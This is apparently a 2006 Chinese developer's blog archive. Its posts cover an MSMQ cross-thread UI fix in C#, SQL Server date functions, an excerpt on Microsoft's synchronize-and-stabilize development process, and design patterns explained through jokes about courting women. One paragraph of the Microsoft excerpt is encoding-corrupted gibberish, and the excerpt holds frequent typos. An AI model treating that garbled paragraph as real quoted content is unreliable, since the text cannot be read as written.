2006年07月26日

近日正在学习MSMQ,在作练习时的一些问题,记下来,以备后用.呵呵….

当消息的发送及接收在同一进程中时,因为使用Receive方法在队列中没有消息时会阻塞整个线程,这样Send方法也不能被调用,为了实现接收和发送互不影响,想到把接收操作由另一个线程来执行,于是:               
               Thread thread = new Thread(new ThreadStart(receive));
                //thread.IsBackground = true;
                thread.Start();
receive方法是新线程用来执行接收消息的.定义如下
      private void receive()
        {
            while (isOK)
            {
                try
                {
                   msg = mq.Receive(new TimeSpan(0,0,10));
                   richTextBox1.AppendText(msg.Body.ToString()+ Environment.NewLine);
               }
                catch(MessageQueueException ex)
                {
                    MessageBox.Show(ex.Message);
                }
                Thread.Sleep(20);
            }
 
        }

结果问题出现在红色代码块中,错误信息是:richTextBox1不是此线程所创建.这个问题以前没有见到过.
经查,最后的解决办法是:再新建一个 delegate void AddMessage(string msg);  然后再用下面的代码替换掉红色代码:
     richTextBox1.Invoke(new AddMessage(addtext),msg.Body.ToString());

此时又需一个addtext方法:
        private void addtext(string msg)
        {
            richTextBox1.AppendText(msg + Environment.NewLine);
        }

这样,通过委托,解决了跨线程执行的问题.

原因分析:因为richTextBox1是主线程中创建的,而后来新创建的线程是不能直接访问它的.而控件的Invoke方法是可以在创建控件的线程上来执行一个指定的委托的.

2006年06月27日

机器上没有安装sql 2000,查起来很别扭.从网上找了个内容,贴在这里,以后就省事儿了.呵呵.

 

Sql Server中的日期与时间函数
1.  当前系统日期、时间
    select getdate()  

2. dateadd  在向指定日期加上一段时间的基础上,返回新的 datetime 值
   例如:向日期加上2天
   select dateadd(day,2,’2004-10-15′)  –返回:2004-10-17 00:00:00.000

3. datediff 返回跨两个指定日期的日期和时间边界数。
   select datediff(day,’2004-09-01′,’2004-09-18′)   –返回:17

4. datepart 返回代表指定日期的指定日期部分的整数。
  SELECT DATEPART(month, ‘2004-10-15′)  –返回 10

5. datename 返回代表指定日期的指定日期部分的字符串
   SELECT datename(weekday, ‘2004-10-15′)  –返回:星期五

6. day(), month(),year() –可以与datepart对照一下

select 当前日期=convert(varchar(10),getdate(),120)
,当前时间=convert(varchar(8),getdate(),114)

select datename(dw,’2004-10-15′)

select 本年第多少周=datename(week,’2004-10-15′)
      ,今天是周几=datename(weekday,’2004-10-15′)

函数 参数/功能
GetDate( ) 返回系统目前的日期与时间
DateDiff (interval,date1,date2) 以interval 指定的方式,返回date2 与date1两个日期之间的差值 date2-date1
DateAdd (interval,number,date) 以interval指定的方式,加上number之后的日期
DatePart (interval,date) 返回日期date中,interval指定部分所对应的整数值
DateName (interval,date) 返回日期date中,interval指定部分所对应的字符串名称

参数 interval的设定值如下:

缩 写(Sql Server) (Access 和 ASP) 说明
Year Yy yyyy 年 1753 ~ 9999
Quarter Qq q   季 1 ~ 4
Month Mm m   月1 ~ 12
Day of year Dy y 一年的日数,一年中的第几日 1-366
Day Dd d   日,1-31
Weekday Dw w 一周的日数,一周中的第几日 1-7
Week Wk ww 周,一年中的第几周 0 ~ 51
Hour Hh h   时0 ~ 23
Minute Mi n 分钟0 ~ 59
Second Ss s 秒 0 ~ 59
Millisecond Ms - 毫秒 0 ~ 999

access 和 asp 中用date()和now()取得系统日期时间;其中DateDiff,DateAdd,DatePart也同是能用于Access和asp中,这些函数的用法也类似

举例:
1.GetDate() 用于sql server :select GetDate()

2.DateDiff(’s’,'2005-07-20′,’2005-7-25 22:56:32′)返回值为 514592 秒
DateDiff(‘d’,'2005-07-20′,’2005-7-25 22:56:32′)返回值为 5 天

3.DatePart(‘w’,'2005-7-25 22:56:32′)返回值为 2 即星期一(周日为1,周六为7)
DatePart(‘d’,'2005-7-25 22:56:32′)返回值为 25即25号
DatePart(‘y’,'2005-7-25 22:56:32′)返回值为 206即这一年中第206天
DatePart(‘yyyy’,'2005-7-25 22:56:32′)返回值为 2005即2005年

2006年05月10日

北京大学出版社96年底所出的《微软的秘密》一书是目前我所见到的对微软公司软件产品开发过程介绍的最专业、最深入的一本书。通过本书,我们可以看到微软公司是如何对科学地对软件产品开发进行有效地管理,我想这些经验对于中国的广大软件开发人员,尤其是关心中国软件产业发展的各位朋友是大有益处的。所以特将此书中涉及软件产品开发的部分内容摘录出来(第四章"产品定义与开发过程"),与大家共同分享。本文作为摘录,自然是挂一漏万,所以建议大家若有时间还是找来原书一读。

在产品定义与开发过程中,微软遵循着一种可称之为"靠改进特性与固定资源来激发创造力"的战略。该战略可分为五个原则:

一、 将大项目分成若干里程碑式的重要阶段,各阶段之间有缓冲时间,但不进行单独的产品维护。

二、运用想象描述和对特性的概要说明指导项目。

三、根据用户行为和有关用户的资料确定产品特性及其优先顺序。

四、建立模块化的和水平式的设计结构,并使项目结构反蚋产品结构的特点。

五、靠个人负责和固定项目资源实施控制。

原则一:将大项目分成若干里程碑式的重要阶段,各阶段之间有缓冲时间,但不进行单独的产品维护。

项目进度安排与里程碑

微软通常采用"同步-稳定产品开发法"。典型项目的生命周期包括三个阶段:计划阶段完成功能的说明和进度表的最后制定,开发阶段写出完整的的源代码,稳定化阶段完成产品,使之能够批量生产。这三个大阶段以及阶段间内在的循环方法与传统的"瀑布"式开发方式很不相同,后者是由需求、详尽设计、模块化的代码设计与测试、集成测试以及系统测试组成的。而微软的三个阶段更像是风险驱动的、渐进的"螺旋"式的生命周期模型。

计划阶段的产品是想象性描述与说明文件,用来解释项目将做什么和息么做。在管理人员拟定进度表、开发员写出代码之前,这些东西都促进了人们对设计问题的思考与。 讨论开发阶段围绕三次主要的内部产品发布来进行;称定化阶段集中于广泛的内部与外部测试。在整个产品生产周期中,微软都使用了缓冲时间的概念。缓冲时间使开发组能够对付意外的困难和影响到时间进度的变故,它也提供了一种手段,可以缓和及时发货与试图精确估计发货时间之间的矛盾。

在开发和稳定化阶段的所有时间中,一个项目通常会将2/3的时间用于开发,1/3的时间用于稳定化。(Office部门副总裁曾这样概述通常的进度:"一般说来,在总的进度表中,用一半的时间写出产品,留下另一半的时间调试或应付意外事故。这样,如果我有一个两年的项目,我会用一年来完成事先想好的东西……如果事情有点麻烦,我便去掉我认为不太重要的特性。")这种里程碑式的工作过程使微软的经理们可以清楚地了解产品开发过程进行到了哪一步,也使他们在开发阶段的后期有能力灵活地删去一些产品特性以满足发货时期的要求。

计划阶段

计划阶段是在一个项目的生命周期中,所有于开发前进行的计划所占用的时间。计划阶段产生出想象性描述、市场营销计划、设计目标、一份最初的产品说明、为集成其他组开发的构件而规定的接口标准、最初的测试计划、一个文档策划(印刷品和联机帮助形式的)以及一份可用性问题清单。计划阶段从想象性描述开始。想象性描述来自产品经理以及各产品单位的程序经理;它是对产品作业的市场营销设想,包括了对竞争对手产品的分析以及对示来版本的规划。想象性描述也可能讨论在前一次版本中发现面必须解决的问题以及应添加的生要功能。所有这些都基于对顾客和市场的分析以及从产品支持服务组处得到的资料。

说明文件从一个大纲开始,然后定义出新的或增加的产品特性,并对其赋以不同的优先级。说明文件只是产品特性的一个预备性概览;从开始开发到项目完成它要增加或变化20% – 30%。虽然在生命周期的后期说明变化一般较小,但越到后期,开发员就越是必须具充分的理由来作改变。

通常程序经理使用VB创建项目原型。他们也开展设计可行性研究以了解设计中的取舍情况,尽快做出涉及产品说明的决定。

对于重要产品的说明需由公司高层领导进行复审。对于不太生要的产品,则由部分经理去完成。

开发阶段

开发阶段的计划对三四个主要的里程碑版本都个咖分配一组特性,规定出特性的 细节 和技术上的相关性,记录下单个开发员的任务以及对进度的估计。在开发阶段中 ,开 发员在功能性说明的指导下写源代码,测试员写出测试项目组以栓查产品的特性 与工 作范围是否正常,用户教育人员则编写出文档草案。

当测试员发现错误时,开发员并不是留待以后处理,而是马上改正,并在整个开 发阶 段内使测试不断地、自动地进行。这就改善了产品的稳定性并且使版本发布日期 更易 估计。当达到项目中的一定阶段点后(40%时),开发员就试图"锁定"产品的主要功 能 要求或特性,从此只允许小的改动。如果在此点之后开发员想作大的改动,他们 必须 与程序经理以及开发经理,问题也许还要征求产品部门经理的意见。

一个项目是围绕着3或4个主要的内部版本,或"里程碑子项目"来组织开发阶段的 。 一般用2至4个月来开发每一个主要的里程碑版本。每个版本都包括其自身的编码 、 优化、测试以及调试活动。项目为意外事故保留总开发1/3的时间,即"缓冲时间 "。 (苹果公司的小组是割裂的,独立的,各自开发各自的东西。在还有3个月就要发 货时, 才会将所有的东西集成起来;Boland公司以一种渐近的方式进行开发,即把工作 分成 许多小的部分,并且总是让开发的东西能够运转。看起来似乎这种渐进的方法费 时较 长,但实际上几护没有用过很长时间,因为这使你总是能掌握住事情真实的情况 。)

当对最后一个主要的里程碑版本做了测试与稳定化之后,产品就要进行"外观固定 ", 即确定产品的主要用户界面,如菜单、对话框以及文件窗口等。此后有关用户界 面将 不再进行大的改动,以免引进同步修改相应文档的困难。

稳定化阶段

稳定化阶段着重于对产品的测试与调试。项目在此阶段尽量不再增加新的功能, 除非 是竞争产品或者市场发生了变化。稳定化阶段也包括了缓冲时间,以应付不可预 见的 问题或者延迟。

项目进度表中的缓冲时间

微软使用缓冲计划,以在最高的效率与较好地对未来作预计之间求得平衡。这种 应付 突发事件的时间在开发和稳定化过程中是每一个主要里程碑的一部分。缓冲时间 主要 用于弥补由于对特性的不完全理解,或者是技术困难或是由于疏忽而忘记把任务 写入 进度,或者是未料到的难题而形成的漏洞。缓冲时间有助于一个项目适应意料之 外的 事件。

原则二:运用想象性描述和对特性的概要说明指导项目

为了给出足够的开发框架以使工作能持续进行,并且能容纳开发过程中出现的变 化并 保持足够的灵活性,微软采用想象性描述和概要的说明来指导项目开发,而不是 在一 开始就努力写出一份完整和详细的说明。所谓想象性描述是由程序经理和来自市 场营 销组的产品计划人员共同编写的一份非常短的文件,在其中主要是定义产品开发 的目 标(不涉及产品的具体细节!)。通常对一个全新的产品,想象性描述一般会相对 较详 细,在其中还含有一份粗略的说明文件。总的来说,微软对于想象性描述的要求 是: 越短越好,尽量说明"产品不做什么"(而不是"产品要做什么"!)。

运用想象性描述,程序经理开始编写功能说明文件,该文件解释产品的特性是什 么以 及这些特性如何与其他特性及产品发生关系。最初它只是一个概要性的说明文件 ,随 着项目的进展,程序经理会随时向其中添加更多的细节,最终的说明文件将变得 象用 户手册一样。完整的说明不只起着对产品最新功能的描述作用,而且它还是在产 品投 产与发货之前进行测试与评估的主要依据。

想象性描述有助于决定删除哪些特性

微软内的各个开发组采用想象性描述帮助细化产品版本的规定主题,然后以此主 题来 决定是否需要增加产品各个可能的特性。通常不要轻易改变所确定的主题,否则 可能 造成产品开发上的混乱。

编写说明文件

说明文件在产品小组的所有成员之间,产品小组之间以及产品小组与管理部门之 间起 着传递产品的设想与要求的作用。在说明文件中必须清楚地描述产品特性(描述每 个特 性如何工作,外观如何以及从用户的角度出发如何与用户交互。如果特性有一个 界面, 还应包括一张示意图,以显示出界面的效果)并赋于其相应的优先级。程序经理据 此建 立起项目的开发起度表。此外在其中还应包括以下各项内容:用一句话表示的项 目开 发目的,关于产品是什么与不是什么的清单,对顾客的定义,对竞争产品的定义 ,产 品对系统的要求(包括操作系统版本、最小内存要求、硬盘空间、处理器速度以及 显示 器分辩率),对第三方(如打印机驱动程序、组件)的任何依赖性。

程序经理负责协调并"写下"说明

程序经理应考虑以下问题:

*这项特性的要点是什么

*用户如何使用该特性

*这项特性有意义吗

*该产品中或微软的其他产品中有类似的特性吗

*有哪些问题补遗漏了

*组内的交流令人满意吗

最终程序经理通过与组内开发人员的共同讨论决定有关特性的内容,并将其 写下来。

构造原型

构造原型是程序经理具体说明一件新产品或一个新版本的最好方法,这从许多方 面来 说都使开发前测试成为可能,尤其在可用性方面,并且有助于对与用户交互情况 作出 好的理解,它也能使产品说明更紧凑。

微软的开发人员通常采用VB构造用户界面原型,但是对于构造计算机屏幕模型之类的工作,画笔(Paintbrush)也是一个很好用的工具。

死板的说明变成有生命的文件

说明不应过于详细以至限制了发明创造。在项目开发过程中,说明文件的早期版 本会 有相当大的增加与改变。由于说明的变动可能会导致相应开发工作的极大变动, 所以 微软通常是将精力首先集中于那些没有什么用户界面的特性上,因为在完成开发 前不 必去了解用户对它们有何反应,也就是说这些特性不大可能改变。然后再面对其 它特 性。

但是当产品开发到一定程序后,例如40%之后,程序经理必须严格控制对特性的修 改(主 要是指增加新的特性),否则不光会造成开发延迟,而且会压缩可用的测试时间。

原则三:根据用户行为和有关用户的资料确定产品牲及其优先顺序

对于一个开发项目而言,如何确定最终产品中应包含什么特性通常是比较困难的 一件 事。为此微软采用了一个称之为"基于行为制定计划"的方式来进行特性选择 与优 先 级安排。

基于行为制定计划法从对用户行为,诸如写信或做预算,做系统研究开始。然后 ,根 据某一特性在支持重要的或者是经常的用户行为上的程序对其进行评价。这样做 的优 点是对特性取舍的更理性的讨论,对顾客想要做什么的更好的安排,对某个给定 特性 是否方便了特定任务的更集中的辩论,可读性更强的说明,以及在市场营销、用 户教 育和产品开发中更好地同步。

特性选择和优先级安排中的基于行为制定计划

基于行为制定计划法中的关键点在于按用户行为、产品特性以及行为和特性之间 的内 部联系来分析产品。程序经理和产品计划者把产品试图支持的用户任务或方案分 成大 约20个"行为",然后他们努力把行为(以及任何子行为)映射入微软的现行特性和 竞 争对手产品的特性中去。他们也把行为映射到不同的顾客形象或不同的市场部分 中去。

当说明产品的新版本时,基于行为制定计划法帮助程序经理和开发员集中他们的 精力 与创造力。向Excel之类的项目争取在每个新版本中加入的主要行为不超过四个。 绝 大多数制性直接映射入这些行为之中。该做法使项目可以按特性对用户的价值来 进行 分级。

通过分级,促使程序经理和开发人员都行动起来,使他们的特性支持尽可能多的 行为。 这种良性竞争对于用户有益,同时也利于提高生产率。

为顾客行为而非产品特性惧资料

基于和为制定计划进,项目在计划阶段首先集中于和为,其次才是特性。程序经 理和 市场营销人员并不去思考和排除他们喜爱的特性,再围绕它们搞出想象性描述的 草案。 他们真正做的是列出一份顾客都做些什么的清单,然后把想象性描述集中于支持 那些 行为的特性上。

以行为为中心对产品进行全面考虑

由于基于行为制定计划法是从整个产品的观点着眼,因此有助于在不同职能上工 作的 项目成员理解产品做什么,以及其他产品的相应特性如何可能支持那些需要或不 需要 其他应用软件产品的行为。

做市场营销研究以支持基于行为制定计划法

为支持基于行为制定计划法,从市场营销组来的产品经理与程序经理、开发人员 一起 开展一些联合的研究,如指导对用户的研究工作。然而,一般来说是产品经理做 大多 数的研究,并可使其更明确地影响微软产品的演进。

原则四:建立模块化的和水平式的设计结构,并使项目结构反映产品结构的特点

微软产品设计中的一个关键概念是产品的基础结构,尤其是生命周期短的应用软 件, 应随项目的进展变得更加单一(而不是错综复杂)。当开发组构造产品的第一版时 ,他 们更多地使用分级式结构,好为产品设计规定出一个最初的架构。随着时间推移 ,他 们向单一的结构迈进,以使项目能集中于特性开发。项目需要逐渐的啬和删除我 ,鬃 着时间改变和发展我,以及增加产品间特性表现和运作的一致性。微软越来越强 调不 同产品间的特性共享。共享有助于使不同产品的"性能与感觉"都统一协条起来; 它 也方便了需要不只一个应用软件的用户,减少了代码的重复书写,缩小了单独一 个应 用软件的规模。

微软用特性小组组织产品开发,这种方法使得每个人都容易明白小组是如何与整 个产 品相关联的。项目从规定概要说明开始。概要说明的形式是一份已确定了优先级 安排 的内容清单,涉及产品下一版本将要开发的相对独立的特性,以便由分开的特性 小组 加以开发。

程序经理和开发员把项目分成特性子集,再将之分配给每个特性小组,让他们在 3到 4个主要的内部项目里程碑中进行生产。这种产品组织与开发法使微软能靠简单地 增 加开发员和创建一个大的小组来渐进地增加产品的功能。

把特性(与函数)作为开发单位

微软件产品的特性是用户最终可见的相对独立的功能单位,就如建筑材料一般, 对应 用软件产品更是如此。系统软件产品,如NT或者95的特性,对最终用户通常不直 接 可见。微软和其他公司有时简单地称这些不直接可见的特性为"函数"。

程序经理承担开发一组特性或函数,实现从说明经测试、文档化直到最后完成的 过程。 他们必须开开发员合作,后者负责估计进度表与完善每个特性。开发员还要在一 台联 网开发计算机上存储一到几个文件,用以保存特性的程序源代码。

大多数特性的开发与改进只要一名开发员,而有的大型特性则要一个小的小组。

产品结构是决定其长期结构完整性的基石

产品结构是产品内部的基干,它规定了重要的结构构件以及这些构件如何组装到 一起。 产品结构及用于组装结构的构件,提供了实现产品特性(即做详细设计与编码)的 支柱。 产品的结构对最终用户而言,通常并非直接可见。只有结构要实现的特性是可见 的。 产品结构也是决定产品长期结构完整性的基石。产品功能的任何改变都不应造成 潜在 的产品结构散 架。

产品的层次结构

对于产品,也可以采用层次结构的方法加以分析。通常定义良好的层次结构有助 于对 产品特性进行灵活的增加、删除与改进。此外良好的层次结构有助于产品在不同 平台 上的移植。(例如Excel总共定义了五层,其中只有最底层的操作系统层是与平台 相关 的,其它各层均是通过调用其下层所提供的API接口加以实现的,所以其移植极其 方 便。而在Windows 95中通过"虚拟机"的概念实现了对16位、32位以及DOS程序 的支持。)

小的结构文档:源代码是唯一文件

除了API文档,微软不对其产品结构生成相应的文档,虽然有时高级开发员可能会 写 下高层结构。对复杂的特性,许多开发员在某些点记录并复查特定于他们所负责 的结 构细节,但此工作是可选的,并不强制执行。除了源代码文件与特性说明,为数 不多 的组为新程序员准务了描绘某层结构的文档(主要的数据结构,如何工作等等)。 但是 这些文件并不时常更新,经理们也不要求项目组生成此类内部文档。在有关的说 明文 件中,并不涉及实现问题。开发员应该知道如何去实现,或者能够去学会。记录 的关 于结构的文档如此之少是因为"一个开发员的工作是编写我们要卖的代码,而不是 花 时间写高水平的设计文件","设计文件不应与源代码分离"。

分割代码与"保持事情的简单"

特性小组和作为"内容专家"的小组领导

特性小组一般由一个领导和3至8名开发人员组成,工作于相关的特性领域。小组 的 规模常常视小组领导的经验和能力而定。特性小组领导向项目开发领导汇报并负 责荐 目的全部开发工作;而项目开发领导则拥有对产品的更为全局性的观点,从而最 有可 能发现部部互相关联的问题。在特性小组中的每个人均是此领域的"专家",他们 了解 如何使用产品、了解竞争对手的产品、了解未来将向何处去。通常为便于交流, 提高 软件的组织结构(软件倾向于映射出构造 它的组织的结构),应保持特性小组的小 规 模。

原则五:靠个人负责和固定项目资源实旋控制

对于软件项目而言,精确估计产品的开发与交付进度是很困难的。对此微软采取 的方 法是将进度安排和工作管理的责任推到最底层,即单个的开发人员和测试人员那 儿去。 这保证了每个人除了作为小组的一部分外,还负有个人的责任。单独的开发人员 设立 他们自已的进度表,程序经理把单独的进度表汇总起来,再加上缓冲时间,以制 定出 一个全面的项目进度表。顶层的总经理也固定人员与时间等基本资源,以确保项 目集 中并限制其努力与创造程序。

关键的目标,尤其对应用软件,是指明产品的目标出品日并争取尽可能长久地坚 持它。 程序经理和开发员从出品日回溯,规定中间的项目里程碑的日期。这个"固定的出 品 日"法的中心在开发员身上。以避免因为项目没有固定的结束点,导致在最终无用 的 设计、再设计和测试的循环中消耗一年或更多的时间。

开发人员做出他们自已的进度估计

比尔犯谴那康魑⑷砣每⒃焙托∽樯瓒ㄋ亲砸训哪勘辏骸八姓庑┤掌诙际切 ∽槎ǖ 娜掌凇C挥衅渌速彩酝忌瓒ㄕ飧鋈掌凇N颐窃诖笤?0年前就抛弃了那种自目而 下的 日期设定方法"。但是开发人员一般会做出较乐观的估计,因此开发经理还需对他 们所 提供的日期进行调整并加上缓冲时间以避免因因信息不完全而出现的问题。微软 这种 制定进度的方法的优点在于:它从人们那儿得到更多的合作,因为日期是自已定 的, 不是经理定的;进度总是富有进取性,因为开发人员不可避免地会低估他们真正 需要 的进间。

对细致的任务的进度估计

微软的第二个进度排方法是,对要完成之任务做非常详尽的考虑,在此基础上请 开发 人员给出他们对"实现"的估计,以此力图"促使"更加现实主义并避免过度低估。

通常微软把任务细化到4小时(半天)到3天之间。对于准确进度的安排,微软的经 理 是这样认识的:"任何任务只要超过一星期,那人们就一定没有充分地全盘考虑它 。任 何任务某人估计只用少于半天就可完成,则他对它考虑得太多了。他应该用列多 的时 间去编程,更少的时间来考虑。"对于类似类于Windows NT之类的操作系统而言, 进 度安排更加困难,对其一般以几天或者半周为工作单位进行进度估计。

安排开发人员与小组进度时的心理学

当项目变大时,微软把员工分成小组。然后经理把进度的责任和所有权尽可能地 分发 下去,直到小组和个人;这使二者都产生了一种拥用工作的感觉。它还在小组中 ,个 人中,尤其是小组领导中造成强烈的跟上其它同事预计进度的压力,因为经理可 能再 平衡进度,从落后的小组或个人手中拿走工作。这样,同事间的压力使经理不需 要太 多的努力就可以对个人或单个小组的进程实施严格控制。

"固定的"出品日

为了把创造力约束在时间限制之中,微软现在在新产品或者产品新版本开始前争 取固 定出品日,至少是有出品日的内部目标。这给人们施加砍去特性和集中在一个项 目上 的压力,逼迫他们去苦苦思考应将那个新特性加入产品中。虽然最终产品的交付 目标 可能是由高级执行人员设定,但是开发人员与小组仍然设定他们自已的进度表。





附录:同步-稳定开发法

计划阶段

定义产品的想象性描述、说明与进度

*想象性描述 产品和程序管理部门运用广泛的顾客意见来确定和优化产品的 特性。

* 说明文件 基于想象性描述,程序管理部门与开发组定义特性的功能寮殃,结 构问题, 以及各部分间的相关性。

* 制订进度表与构造特性小组 其于说明文件,程序管理部门协调进度表,安排 出特 性小组,每个小组包括大约1名程序经理,3 – 8个开发员,3 – 8个测试员(以1: 1比例 与开发员平行工作。)

开发阶段

用3 – 4个顺序的子项目,每个产生一个里程碑式的产品发送,来完成特性的 开发。

程序经理协调开发过程。

开发员设计、编码、调试。测试员与开发员配对,不断进行测试。 

*子项目Ⅰ 前1/3的特性:最重要的特性与共享的构件。

*子项目Ⅱ 中间1/3的特性。

*子项目Ⅲ 最后1/3的特性:最不重要的特性。

稳定化阶段

全面的内外部测试,最后的产品稳定化以及发货。

程序经理协调OEM与ISV,监督从顾客得到的信息反馈。开发员进行最后的调试与

代码稳定化。测试员发现并清除错误。

*内部测试 公司内部对整个产品做详尽的测试。

* 外部测试 公司外在的"β"测试点,象OEM,ISV以及最终用户处对整个产品做

详尽的测试。

*发货准备 为批量生产准备发布最后的"金盘"与文档。

2006年05月09日

创建型模式

1
FACTORY MM少不了请吃饭了,麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西,虽然口味有所不同,但不管你带MM去麦当劳或肯德基,只管向服务员说来四个鸡翅就行了。麦当劳和肯德基就是生产鸡翅的Factory

工厂模式:客户类和工厂类分开。消费者任何时候需要某种产品,只需向工厂请求即可。消费者无须修改就可以接纳新产品。缺点是当产品修改时,工厂类也要做相应的修改。如:如何创建及如何向客户端提供。

2
BUILDER  —MM最爱听的就是我爱你这句话了,见到不同地方的MM,要能够用她们的方言跟她说这句话哦,我有一个多种语言翻译机,上面每种语言都有一个按键,见到MM我只要按对应的键,它就能够用相应的语言说出我爱你这句话了,国外的MM也可以轻松搞掂,这就是我的我爱你”builder。(这一定比美军在伊拉克用的翻译机好卖)

建造模式:将产品的内部表象和产品的生成过程分割开来,从而使一个建造过程生成具有不同的内部表象的产品对象。建造模式使得产品内部表象可以独立的变化,客户不必知道产品内部组成的细节。建造模式可以强制实行一种分步骤进行的建造过程。

3
FACTORY METHODMM去麦当劳吃汉堡,不同的MM有不同的口味,要每个都记住是一件烦人的事情,我一般采用Factory Method模式,带着MM到服务员那儿,说要一个汉堡,具体要什么样的汉堡呢,让MM直接跟服务员说就行了。

工厂方法模式:核心工厂类不再负责所有产品的创建,而是将具体创建的工作交给子类去做,成为一个抽象工厂角色,仅负责给出具体工厂类必须实现的接口,而不接触哪一个产品类应当被实例化这种细节。

4
PROTOTYPEMMQQ聊天,一定要说些深情的话语了,我搜集了好多肉麻的情话,需要时只要copy出来放到QQ里面就行了,这就是我的情话prototype了。(100块钱一份,你要不要)

原始模型模式:通过给出一个原型对象来指明所要创建的对象的类型,然后用复制这个原型对象的方法创建出更多同类型的对象。原始模型模式允许动态的增加或减少产品类,产品类不需要非得有任何事先确定的等级结构,原始模型模式适用于任何的等级结构。缺点是每一个类都必须配备一个克隆方法。

5
SINGLETON俺有6个漂亮的老婆,她们的老公都是我,我就是我们家里的老公Sigleton,她们只要说道老公,都是指的同一个人,那就是我(刚才做了个梦啦,哪有这么好的事)

单例模式:单例模式确保某一个类只有一个实例,而且自行实例化并向整个系统提供这个实例单例模式。单例模式只应在有真正的单一实例的需求时才可使用。

结构型模式

6
ADAPTER在朋友聚会上碰到了一个美女Sarah,从香港来的,可我不会说粤语,她不会说普通话,只好求助于我的朋友kent了,他作为我和Sarah之间的Adapter,让我和Sarah可以相互交谈了(也不知道他会不会耍我)

适配器模式:把一个类的接口变换成客户端所期待的另一种接口,从而使原本因接口原因不匹配而无法一起工作的两个类能够一起工作。适配类可以根据参数返还一个合适的实例给客户端。

7
BRIDGE 早上碰到MM,要说早上好,晚上碰到MM,要说晚上好;碰到MM穿了件新衣服,要说你的衣服好漂亮哦,碰到MM新做的发型,要说你的头发好漂亮哦。不要问我早上碰到MM新做了个发型怎么说这种问题,自己用BRIDGE组合一下不就行了

桥梁模式:将抽象化与实现化脱耦,使得二者可以独立的变化,也就是说将他们之间的强关联变成弱关联,也就是指在一个软件系统的抽象化和实现化之间使用组合/聚合关系而不是继承关系,从而使两者可以独立的变化。

8
COMPOSITE —Mary今天过生日。我过生日,你要送我一件礼物。”“嗯,好吧,去商店,你自己挑。”“这件T恤挺漂亮,买,这条裙子好看,买,这个包也不错,买。”“喂,买了三件了呀,我只答应送一件礼物的哦。”“什么呀,T恤加裙子加包包,正好配成一套呀,小姐,麻烦你包起来。”“……”MM都会用Composite模式了,你会了没有?

合成模式:合成模式将对象组织到树结构中,可以用来描述整体与部分的关系。合成模式就是一个处理对象的树结构的模式。合成模式把部分与整体的关系用树结构表示出来。合成模式使得客户端把一个个单独的成分对象和由他们复合而成的合成对象同等看待。

9
DECORATOR —Mary过完轮到Sarly过生日,还是不要叫她自己挑了,不然这个月伙食费肯定玩完,拿出我去年在华山顶上照的照片,在背面写上最好的的礼物,就是爱你的Fita”,再到街上礼品店买了个像框(卖礼品的MM也很漂亮哦),再找隔壁搞美术设计的Mike设计了一个漂亮的盒子装起来……,我们都是Decorator,最终都在修饰我这个人呀,怎么样,看懂了吗?

装饰模式:装饰模式以对客户端透明的方式扩展对象的功能,是继承关系的一个替代方案,提供比继承更多的灵活性。动态给一个对象增加功能,这些功能可以再动态的撤消。增加由一些基本功能的排列组合而产生的非常大量的功能。

10
FAÇADE我有一个专业的Nikon相机,我就喜欢自己手动调光圈、快门,这样照出来的照片才专业,但MM可不懂这些,教了半天也不会。幸好相机有Facade设计模式,把相机调整到自动档,只要对准目标按快门就行了,一切由相机自动调整,这样MM也可以用这个相机给我拍张照片了。

门面模式:外部与一个子系统的通信必须通过一个统一的门面对象进行。门面模式提供一个高层次的接口,使得子系统更易于使用。每一个子系统只有一个门面类,而且此门面类只有一个实例,也就是说它是一个单例模式。但整个系统可以有多个门面类。

11
FLYWEIGHT每天跟MM发短信,手指都累死了,最近买了个新手机,可以把一些常用的句子存在手机里,要用的时候,直接拿出来,在前面加上MM的名字就可以发送了,再不用一个字一个字敲了。共享的句子就是FlyweightMM的名字就是提取出来的外部特征,根据上下文情况使用。

享元模式FLYWEIGHT在拳击比赛中指最轻量级。享元模式以共享的方式高效的支持大量的细粒度对象。享元模式能做到共享的关键是区分内蕴状态和外蕴状态。内蕴状态存储在享元内部,不会随环境的改变而有所不同。外蕴状态是随环境的改变而改变的。外蕴状态不能影响内蕴状态,它们是相互独立的。将可以共享的状态和不可以共享的状态从常规类中区分开来,将不可以共享的状态从类里剔除出去。客户端不可以直接创建被共享的对象,而应当使用一个工厂对象负责创建被共享的对象。享元模式大幅度的降低内存中对象的数量。

12
PROXY MM在网上聊天,一开头总是“hi,你好”,“你从哪儿来呀?”“你多大了?”“身高多少呀?这些话,真烦人,写个程序做为我的Proxy吧,凡是接收到这些话都设置好了自动的回答,接收到其他的话时再通知我回答,怎么样,酷吧。

代理模式:代理模式给某一个对象提供一个代理对象,并由代理对象控制对源对象的引用。代理就是一个人或一个机构代表另一个人或者一个机构采取行动。某些情况下,客户不想或者不能够直接引用一个对象,代理对象可以在客户和目标对象直接起到中介的作用。客户端分辨不出代理主题对象与真实主题对象。代理模式可以并不知道真正的被代理对象,而仅仅持有一个被代理对象的接口,这时候代理对象不能够创建被代理对象,被代理对象必须有系统的其他角色代为创建并传入。

行为模式

13
CHAIN OF RESPONSIBLEITY晚上去上英语课,为了好开溜坐到了最后一排,哇,前面坐了好几个漂亮的MM哎,找张纸条,写上“Hi,可以做我的女朋友吗?如果不愿意请向前传,纸条就一个接一个的传上去了,糟糕,传到第一排的MM把纸条传给老师了,听说是个老处女呀,快跑!

责任链模式:在责任链模式中,很多对象由每一个对象对其下家的引用而接起来形成一条链。请求在这个链上传递,直到链上的某一个对象决定处理此请求。客户并不知道链上的哪一个对象最终处理这个请求,系统可以在不影响客户端的情况下动态的重新组织链和分配责任。处理者有两个选择:承担责任或者把责任推给下家。一个请求可以最终不被任何接收端对象所接受。

14
COMMAND俺有一个MM家里管得特别严,没法见面,只好借助于她弟弟在我们俩之间传送信息,她对我有什么指示,就写一张纸条让她弟弟带给我。这不,她弟弟又传送过来一个COMMAND,为了感谢他,我请他吃了碗杂酱面,哪知道他说:我同时给我姐姐三个男朋友送COMMAND,就数你最小气,才请我吃面。


命令模式:命令模式把一个请求或者操作封装到一个对象中。命令模式把发出命令的责任和执行命令的责任分割开,委派给不同的对象。命令模式允许请求的一方和发送的一方独立开来,使得请求的一方不必知道接收请求的一方的接口,更不必知道请求是怎么被接收,以及操作是否执行,何时被执行以及是怎么被执行的。系统支持命令的撤消。

15
INTERPRETER俺有一个《泡MM真经》,上面有各种泡MM的攻略,比如说去吃西餐的步骤、去看电影的方法等等,跟MM约会时,只要做一个Interpreter,照着上面的脚本执行就可以了。

